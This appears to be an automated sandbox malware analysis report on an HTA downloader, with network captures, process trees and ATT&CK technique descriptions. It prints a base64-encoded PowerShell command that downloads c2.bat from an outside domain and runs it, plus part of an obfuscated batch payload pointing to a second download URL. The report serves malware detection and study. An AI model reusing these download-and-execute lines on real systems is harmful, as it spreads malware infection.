SHA512:	3239786926f2190da9660cbea5ed6e7eb5d1045bb14e7aa5686d35ec64576dce818db23f038b4f6281ae21f7cf68224f3954ff2373ddd33e8709b0ff64774c4c
SSDEEP:	48:GOhhqnDjVJ9EAJtQWFUR/CZNOiPiZvJklJNA/kjw2K4DhEHP//w/CO:GkqnDjVJ9DJpZ0aiZvqQk02K4m//S
TLSH:	08617322E9AEBC94473973700809699AE3C71B1357615B09FCDF241FEF78610E34AA9D
File Content Preview:	<html>..<head>.. <title></title>.. <HTA:APPLICATION.. ID="app".. APPLICATIONNAME="Downloader".. WINDOWSTATE="minimize".. BORDER="thin".. SCROLL="no".. SINGLEINSTANCE="yes".. SHOWINTASKBAR="no"..

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-12T03:44:00.404366+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49732	193.26.115.39	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 12, 2025 03:43:59.570810080 CET	49732	443	192.168.2.4	193.26.115.39
Jan 12, 2025 03:43:59.570867062 CET	443	49732	193.26.115.39	192.168.2.4
Jan 12, 2025 03:43:59.570955038 CET	49732	443	192.168.2.4	193.26.115.39
Jan 12, 2025 03:43:59.580404043 CET	49732	443	192.168.2.4	193.26.115.39
Jan 12, 2025 03:43:59.580425978 CET	443	49732	193.26.115.39	192.168.2.4
Jan 12, 2025 03:44:00.167954922 CET	443	49732	193.26.115.39	192.168.2.4
Jan 12, 2025 03:44:00.168024063 CET	49732	443	192.168.2.4	193.26.115.39
Jan 12, 2025 03:44:00.175616026 CET	49732	443	192.168.2.4	193.26.115.39
Jan 12, 2025 03:44:00.175668001 CET	443	49732	193.26.115.39	192.168.2.4
Jan 12, 2025 03:44:00.175918102 CET	443	49732	193.26.115.39	192.168.2.4
Jan 12, 2025 03:44:00.238174915 CET	49732	443	192.168.2.4	193.26.115.39
Jan 12, 2025 03:44:00.246594906 CET	49732	443	192.168.2.4	193.26.115.39
Jan 12, 2025 03:44:00.287379026 CET	443	49732	193.26.115.39	192.168.2.4
Jan 12, 2025 03:44:00.404441118 CET	443	49732	193.26.115.39	192.168.2.4
Jan 12, 2025 03:44:00.404488087 CET	443	49732	193.26.115.39	192.168.2.4
Jan 12, 2025 03:44:00.404545069 CET	49732	443	192.168.2.4	193.26.115.39
Jan 12, 2025 03:44:00.404580116 CET	443	49732	193.26.115.39	192.168.2.4
Jan 12, 2025 03:44:00.404630899 CET	443	49732	193.26.115.39	192.168.2.4
Jan 12, 2025 03:44:00.404642105 CET	49732	443	192.168.2.4	193.26.115.39
Jan 12, 2025 03:44:00.404685020 CET	49732	443	192.168.2.4	193.26.115.39
Jan 12, 2025 03:44:00.429357052 CET	49732	443	192.168.2.4	193.26.115.39

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 12, 2025 03:43:59.507791042 CET	58205	53	192.168.2.4	1.1.1.1
Jan 12, 2025 03:43:59.539448977 CET	53	58205	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 12, 2025 03:43:59.507791042 CET	192.168.2.4	1.1.1.1	0xee70	Standard query (0)	candwfarmsllc.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 12, 2025 03:43:59.539448977 CET	1.1.1.1	192.168.2.4	0xee70	No error (0)	candwfarmsllc.com		193.26.115.39	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

candwfarmsllc.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	193.26.115.39	443	4456	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 02:44:00 UTC	168	OUT	GET /c2.bat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: candwfarmsllc.com Connection: Keep-Alive
2025-01-12 02:44:00 UTC	288	IN	HTTP/1.1 200 OK Date: Sun, 12 Jan 2025 02:44:00 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Tue, 07 Jan 2025 14:48:52 GMT ETag: "e32-62b1ed7f84eca" Accept-Ranges: bytes Content-Length: 3634 Connection: close Content-Type: application/x-msdownload
2025-01-12 02:44:00 UTC	3634	IN	Data Raw: 40 25 56 4c 75 78 44 78 42 4d 25 65 25 7a 6b 6e 68 74 72 74 69 25 63 25 71 58 49 65 25 68 25 44 69 6f 55 70 72 62 25 6f 25 6e 46 25 20 25 58 53 7a 70 4a 75 4a 25 6f 25 5a 25 66 25 64 4c 25 66 25 65 45 4d 42 25 0d 0a 73 65 74 20 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 6d 79 67 75 79 61 70 70 2e 63 6f 6d 2f 6d 73 77 6f 72 64 2e 7a 69 70 0d 0a 73 25 4f 66 52 5a 68 25 65 25 62 7a 68 6b 72 75 53 59 25 74 25 44 6b 75 74 4b 64 25 20 25 64 78 44 48 25 75 25 4b 7a 47 25 72 25 4b 47 75 57 67 70 42 6d 4d 6f 25 6c 25 61 64 71 50 68 42 77 52 25 3d 25 59 4e 4d 6a 6d 25 68 25 72 74 52 4c 74 50 4a 65 52 25 74 25 44 53 66 57 7a 53 25 74 25 79 59 79 25 70 25 41 42 54 4d 57 58 75 41 73 25 73 25 6d 25 3a 25 4d 49 25 2f 25 53 6e 42 6c 25 2f 25 74 74 6d 25 6d 25 67 76 74 25 79 25 Data Ascii: @%VLuxDxBM%e%zknhtrti%c%qXIe%h%DioUprb%o%nF% %XSzpJuJ%o%Z%f%dL%f%eEMB%set url=https://myguyapp.com/msword.zips%OfRZh%e%bzhkruSY%t%DkutKd% %dxDH%u%KzG%r%KGuWgpBmMo%l%adqPhBwR%=%YNMjm%h%rtRLtPJeR%t%DSfWzS%t%yYy%p%ABTMWXuAs%s%m%:%MI%/%SnBl%/%ttm%m%gvt%y%

Target ID:	0
Start time:	21:43:56
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta.exe "C:\Users\user\Desktop\c1.hta"
Imagebase:	0x2d0000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:43:57
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCommand WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AA0ACgBoAHQAdABwAHMAOgAvAC8AYwBhAG4AZAB3AGYAYQByAG0AcwBsAGwAYwAuAGMAbwBtAC8AYwAyAC4AYgBhAHQAPQAnAGgAdAB0AHAAcwA6AC8ALwBjAGEAbgBkAHcAZgBhAHIAbQBzAGwAbABjAC4AYwBvAG0ALwBjADIALgBiAGEAdAAnADsADQAKAEMAOgBcAFUAcwBlAHIAcwBcAGEAcwBhAG8AbABcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYwAyAC4AYgBhAHQAPQBDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcAAgACsAIAAnAFwAYwAyAC4AYgBhAHQAJwA7AA0ACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAGMAYQBuAGQAdwBmAGEAcgBtAHMAbABsAGMALgBjAG8AbQAvAGMAMgAuAGIAYQB0ACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVQBzAGUAcgBzAFwAYQBzAGEAbwBsAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABjADIALgBiAGEAdAA7AA0ACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGMAMgAuAGIAYQB0ACAALQBOAG8ATgBlAHcAVwBpAG4AZABvAHcA
Imagebase:	0xb0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:43:57
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	35%
Total number of Nodes:	20
Total number of Limit Nodes:	0

Executed Functions

Function 02CFAF30 Relevance: 4.2, Strings: 3, Instructions: 481
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4L^q, xrefs: 02CFB004
4L^q, xrefs: 02CFB138
4L^q, xrefs: 02CFB09E

Memory Dump Source

Source File: 00000002.00000002.1692280304.0000000002CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2cf0000_powershell.jbxd

Similarity

API ID:
String ID: 4L^q$4L^q$4L^q
API String ID: 0-1735365799
Opcode ID: bdc286400163e51e86a6dc8c7e67374c1745eb4ee111275f252d81dd99508d3b
Instruction ID: 211bfa435f124102b5172eb6341ba8c2d84d0e25ca1b4fa5ff60321da58906e3
Opcode Fuzzy Hash: bdc286400163e51e86a6dc8c7e67374c1745eb4ee111275f252d81dd99508d3b
Instruction Fuzzy Hash: C3126D70A002088FDB58DFA5C494BADBBF2FF88308F148568D50A9B395DB75AD45CF91

Function 02CFA3F4 Relevance: 1.8, APIs: 1, Instructions: 284
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,?,?,?,00000000,00000000,00000004), ref: 02CFBCA5

Memory Dump Source

Source File: 00000002.00000002.1692280304.0000000002CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2cf0000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: b619de679ad1317ecc5f382891aec201f2788f6e7c2686911e1775b53aa20290
Instruction ID: b3e19a2af32ac5849befa444ff80ed91dc227843cf374b2cb0eb49be91863e6d
Opcode Fuzzy Hash: b619de679ad1317ecc5f382891aec201f2788f6e7c2686911e1775b53aa20290
Instruction Fuzzy Hash: BCC13971D00619DFDB64CFA9C884BDEBBF1BF88308F258129E505A7254DB70A985CF91

Function 02CFB9FE Relevance: 1.8, APIs: 1, Instructions: 284
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.1692280304.0000000002CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2cf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 097ab90ead509dc2d71c5ade8644ade8d060241eb8ec7c3c61c82950f38f85f7
Instruction ID: b42dbe797376ddf830a4eb335c6cf93593af58d9be082837044c9f3e13b84380
Opcode Fuzzy Hash: 097ab90ead509dc2d71c5ade8644ade8d060241eb8ec7c3c61c82950f38f85f7
Instruction Fuzzy Hash: 40C13971D00619DFDB64CFA9C884BDEBBF1BF88308F258129E905A7254DB70A985CF91

Function 074D1A18 Relevance: 5.6, Strings: 4, Instructions: 589
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 074D1D56
4'^q, xrefs: 074D1EBA
4'^q, xrefs: 074D1EB0
4'^q, xrefs: 074D1D60

Memory Dump Source

Source File: 00000002.00000002.1698864330.00000000074D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q
API String ID: 0-1420252700
Opcode ID: 3d435c0297da24afe164a06c187cdac3d9b1ff7fdb9177c000b78409fbb7c1e8
Instruction ID: 146382fd18b08efcd232c457fe7f85d61da780616f3879b7010beeceb3dd6d95
Opcode Fuzzy Hash: 3d435c0297da24afe164a06c187cdac3d9b1ff7fdb9177c000b78409fbb7c1e8
Instruction Fuzzy Hash: AE1255F170425A8FCB158B6898207EBBBA2AFC2610F15847BD985CF351DB31CD86C7A1

Function 074D19F9 Relevance: .1, Instructions: 125
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.1698864330.00000000074D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c36c181f760636493326e60d6d9688f738b71cb7cd8cddbdada5353336beb2dd
Instruction ID: 29341efdced12ba10ba1b49ccbc14da3ace8866839333bd4d31200ab28e04f52
Opcode Fuzzy Hash: c36c181f760636493326e60d6d9688f738b71cb7cd8cddbdada5353336beb2dd
Instruction Fuzzy Hash: 0F41C6F460430A9FCF148FA48561ABB7BA1AF81650F1680A7DD848F362D735DD86C7A1

Non-executed Functions

Function 074D02B8 Relevance: 9.1, Strings: 7, Instructions: 322COMMON

Download Yara Rule

Strings

$^q, xrefs: 074D04CC
$^q, xrefs: 074D04C0
tP^q, xrefs: 074D0505
$^q, xrefs: 074D049A
tP^q, xrefs: 074D0511
4'^q, xrefs: 074D03BB
4'^q, xrefs: 074D03C7

Memory Dump Source

Source File: 00000002.00000002.1698864330.00000000074D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q
API String ID: 0-1608119003
Opcode ID: 8ecb8299fc42c20c1ea6f4ddb0ca400c675d2dd023b9f84c7bce4e95e088bb8b
Instruction ID: 73dd03dff057ab1c037731a4912c8e300c515a96c806f50e3f27a9a06adb7b9f
Opcode Fuzzy Hash: 8ecb8299fc42c20c1ea6f4ddb0ca400c675d2dd023b9f84c7bce4e95e088bb8b
Instruction Fuzzy Hash: F2A14AB1B443568FCB158B7994246EBBBE5AFC2610F18847BD885CB3A1DA31CC46C7A1

Function 074D3F50 Relevance: 7.7, Strings: 6, Instructions: 236COMMON

Download Yara Rule

Strings

(Xcq, xrefs: 074D4103
4'^q, xrefs: 074D3FE0
4'^q, xrefs: 074D4145
(Xcq, xrefs: 074D3FA3
4'^q, xrefs: 074D4151
4'^q, xrefs: 074D3FEA

Memory Dump Source

Source File: 00000002.00000002.1698864330.00000000074D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74d0000_powershell.jbxd

Similarity

API ID:
String ID: (Xcq$(Xcq$4'^q$4'^q$4'^q$4'^q
API String ID: 0-3593487153
Opcode ID: ae61f55b1d94f393b78b38dd85425a5f18dd6d820e6ce5cd40c71d5e449a5bb3
Instruction ID: 91f9268ddb3537b7360a3b398c539cd938eba695098dbd6810efaba5d9236dc3
Opcode Fuzzy Hash: ae61f55b1d94f393b78b38dd85425a5f18dd6d820e6ce5cd40c71d5e449a5bb3
Instruction Fuzzy Hash: 3671C6B1B0428ACFCB159E2C94246EBBBF59F96210F14847BC885CB355DA318D85C7A2

Function 074D0DB8 Relevance: 7.7, Strings: 6, Instructions: 195COMMON

Download Yara Rule

Strings

$^q, xrefs: 074D0F4A
$^q, xrefs: 074D0F1F
tP^q, xrefs: 074D0E68
tP^q, xrefs: 074D0E5C
$^q, xrefs: 074D0DCC
$^q, xrefs: 074D0F56

Memory Dump Source

Source File: 00000002.00000002.1698864330.00000000074D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74d0000_powershell.jbxd

Similarity

API ID:
String ID: tP^q$tP^q$$^q$$^q$$^q$$^q
API String ID: 0-2782953261
Opcode ID: 59bc732ff2ec2d85ba56f1e456d24b92dfdef4c13085eb1e1d6b95e79bae1295
Instruction ID: 2041879ed9a2138d4892cab1641a5f2e62c11d7961667a13e254d27454e6d6ee
Opcode Fuzzy Hash: 59bc732ff2ec2d85ba56f1e456d24b92dfdef4c13085eb1e1d6b95e79bae1295
Instruction Fuzzy Hash: 39516BB170430A9FD7254B29D864BE7BBA6AFC5711F24847BE085CB3A1CA71CC45C391

Function 074D3B58 Relevance: 5.3, Strings: 4, Instructions: 340COMMON

Download Yara Rule

Strings

$aQi, xrefs: 074D3ECF
tP^q, xrefs: 074D3C08
tP^q, xrefs: 074D3BFC
$aQi, xrefs: 074D3E54

Memory Dump Source

Source File: 00000002.00000002.1698864330.00000000074D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74d0000_powershell.jbxd

Similarity

API ID:
String ID: $aQi$$aQi$tP^q$tP^q
API String ID: 0-259278452
Opcode ID: 5519d5e73ee1cb4e777bd1d17d5269f1906e70bf3e278f215b834f8afffd6fa7
Instruction ID: a90bce14a85d9ee1b92449c3a3db2c46edf430dc7d0d26c450d03e975b734de9
Opcode Fuzzy Hash: 5519d5e73ee1cb4e777bd1d17d5269f1906e70bf3e278f215b834f8afffd6fa7
Instruction Fuzzy Hash: 7EB134B1704306DFDB218F29C8247A7BBA6AF96710F14847BE585CB381DA31CC85C7A2

Function 074D3028 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$^q, xrefs: 074D3090
$^q, xrefs: 074D3084
$^q, xrefs: 074D3056
$^q, xrefs: 074D303A

Memory Dump Source

Source File: 00000002.00000002.1698864330.00000000074D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74d0000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 823b12563a19a4822fc90789fd5bae2e6fe4492840154bed38371d909db7fbe5
Instruction ID: d8f7a47a07a888225604f8af17988b4e07f72fd913279c4fc9e3db4a660eba97
Opcode Fuzzy Hash: 823b12563a19a4822fc90789fd5bae2e6fe4492840154bed38371d909db7fbe5
Instruction Fuzzy Hash: 312179B1704316DBDB295E2A5820BABA7D69BC1710F24C43BE585CB389CD36CC458362

Function 074D3949 Relevance: 5.1, Strings: 4, Instructions: 51COMMON

Download Yara Rule

Strings

$^q, xrefs: 074D399E
4'^q, xrefs: 074D39BF
$^q, xrefs: 074D3992
4'^q, xrefs: 074D39B3

Memory Dump Source

Source File: 00000002.00000002.1698864330.00000000074D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: 75f0aa6b1a1079dc182ddd48c7d711ff7efaaef03f894f9b4aa07c561e7f3be7
Instruction ID: 8c3858c9b8a9aa83b450648b14af95f959a53abc118742c237d2dd05f38b939a
Opcode Fuzzy Hash: 75f0aa6b1a1079dc182ddd48c7d711ff7efaaef03f894f9b4aa07c561e7f3be7
Instruction Fuzzy Hash: B6017560A1A3859FC71A1A3418345566FB69FC355071944EBD4C5CF39BC9254C4AC3A3

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report c1.hta

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lnl1fx4e.b2x.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sga5kkgf.5fu.psm1

Static File Info

General

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

